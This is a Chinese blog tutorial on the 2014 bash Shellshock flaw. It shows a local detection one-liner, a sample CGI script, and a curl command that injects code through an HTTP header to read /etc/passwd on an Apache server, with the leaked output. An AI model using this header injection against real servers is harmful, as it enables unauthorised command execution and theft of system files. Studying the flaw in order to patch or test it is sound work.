最新bash漏洞的一种远程攻击方式

2014/09/2811:21:16 1

1、终端用户检测漏洞方法

本地用户在终端可以执行以下测试方法来检测是否存在该漏洞:

env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"

如果显示信息如下,则表示该主机存在该漏洞:

vulnerable
this is a test

2、远程攻击条件

1). Linux WEB Server提供的CGIL接口允许我们通过远程HTTP方式进行Bash调用

2). 客户端可以任意修改发送的HTTP头部的字段参数
3). Bash CGI会将客户端发送的HTTP数据包的HTTP头部的字段作为ENV的参数传入环境变量的设置函数中,也就是说,Bash CGI默认将HTTP头部参数作为环境变量设置源
4). Bash CGI会返回的HTTP数据包中会将环境变量一并发送回客户端
我们来针对一台安装有apache环境的主机来进行分析,对于第一点需要我们的apache支持mod_cgi模块的调用,可以通过以下两个命令来查看是否已经开启mod_cgi模块:
httpd -l  | grep cgi
apachectl -t -D DUMP_MODULES   | grep cgi

如果输出有包含cgi字样的字符,那说明已经成功开启了mod_cgi。

3、环境准备

假设你配置的cgi-bin的目录为:/var/www/html/cgi-bin,那么我们在该目录下写上一段简单的shell.sh脚本:

#!/bin/bash
echo "Content-type: text/html"
echo ""
#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果
echo "<html>"

4、开始获取主机信息

找一台能连接服务器的Linux机器,假设我这里主机的IP为:192.168.0.1,在终端输入以下命令:

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://192.168.0.1/cgi-bin/shell.sh' -I

5、查看输出结果

类似以下输出:

HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 21:22:04 GMT
Server: Apache
a: root:x:0:0:root:/root:/bin/bash
bin: x:1:1:bin:/bin:/sbin/nologin
daemon: x:2:2:daemon:/sbin:/sbin/nologin
adm: x:3:4:adm:/var/adm:/sbin/nologin
lp: x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync: x:5:0:sync:/sbin:/bin/sync

6、总结

要利用该漏洞获取信息,需要服务器满足第2节中的条件,在生产环境中一般是一些cgi应用型的互联网网站,且主机是类unix系统。

  • 微信扫码赞助
  • weinxin
  • 支付宝赞助
  • weinxin

发表评论

您必须才能发表评论!

目前评论:1   其中:访客  0   博主  0

    • 果子

      (呲牙)